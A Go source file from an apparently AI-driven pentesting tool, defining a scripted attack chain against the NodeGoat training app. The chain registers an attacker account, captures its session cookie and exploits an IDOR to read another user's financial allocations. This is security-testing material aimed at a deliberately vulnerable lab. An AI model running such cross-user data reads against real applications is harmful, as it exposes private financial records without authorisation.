package recon

import (
	"github.com/Armur-Ai/Pentest-Swarm-AI/internal/pipeline"
	"github.com/google/uuid"
)

// nodegoatChains are NodeGoat's deterministic, ready-to-run attack playbooks.
// Verified live against the seeded lab (rbrayner/nodegoat with the DB reset so
// users 1–3 exist): a freshly registered attacker is assigned the next userId
// (4+), so reading /allocations/{1,2,3} is a cross-user read. The exploit agent
// runs the chain step-for-step and the finding lands independent of the model.
//
// AUTH IS COOKIE-BASED: POST /signup establishes a session and sets the
// connect.sid cookie; we --capture the Set-Cookie header and resend it as a
// Cookie header on the authenticated step (NodeGoat has no bearer token).
func nodegoatChains(base string) []pipeline.AttackPath {
	return []pipeline.AttackPath{
		nodegoatAllocationsIDOR(base),
	}
}

// nodegoatAllocationsIDOR — the flagship chain. /allocations/:userId is guarded
// only by isLoggedIn and never checks that :userId belongs to the session user,
// so any authenticated account reads another user's financial allocations.
// Verified: register attacker -> GET /allocations/2 with the attacker's session
// returns HTTP 200 with user 2's seeded stocks/funds/bonds.
func nodegoatAllocationsIDOR(base string) pipeline.AttackPath {
	return pipeline.AttackPath{
		ID:   uuid.New(),
		Name: "NodeGoat IDOR: cross-user financial allocations disclosure",
		Description: "The /allocations/:userId route checks only that the caller is logged in, not that the " +
			"requested userId is their own. A freshly registered attacker (assigned a later userId) requests a " +
			"seeded victim's id and reads that user's retirement-fund allocations — stocks, funds, and bonds. " +
			"Proven by registering a throwaway account, then GET /allocations/2 returning HTTP 200 with another " +
			"user's financial data.",
		ExpectedImpact:              "high",
		EstimatedSuccessProbability: 0.9,
		RequiredPrivileges:          "an ordinary registered user",
		Steps: []pipeline.AttackStep{
			{
				ID:          uuid.New(),
				Name:        "register a throwaway attacker account and capture the session cookie",
				TechniqueID: "T1136", // Create Account
				Command: "httpreq --method POST --url " + base + "/signup " +
					"--header 'Content-Type: application/x-www-form-urlencoded' " +
					"--body 'firstName=Atk&lastName=Er&userName=atk_{{nonce}}&password=Attacker@1234&verify=Attacker@1234&email=atk_{{nonce}}@example.com' " +
					"--capture sid=header:Set-Cookie",
			},
			{
				ID:          uuid.New(),
				Name:        "IDOR: read victim user 2's financial allocations with the attacker's session",
				TechniqueID: "T1087", // Account Discovery
				Command: "httpreq --method GET --url " + base + "/allocations/2 " +
					"--header 'Cookie: {{sid}}'",
				ExpectedOutputPattern: "HTTP 200",
			},
		},
	}
}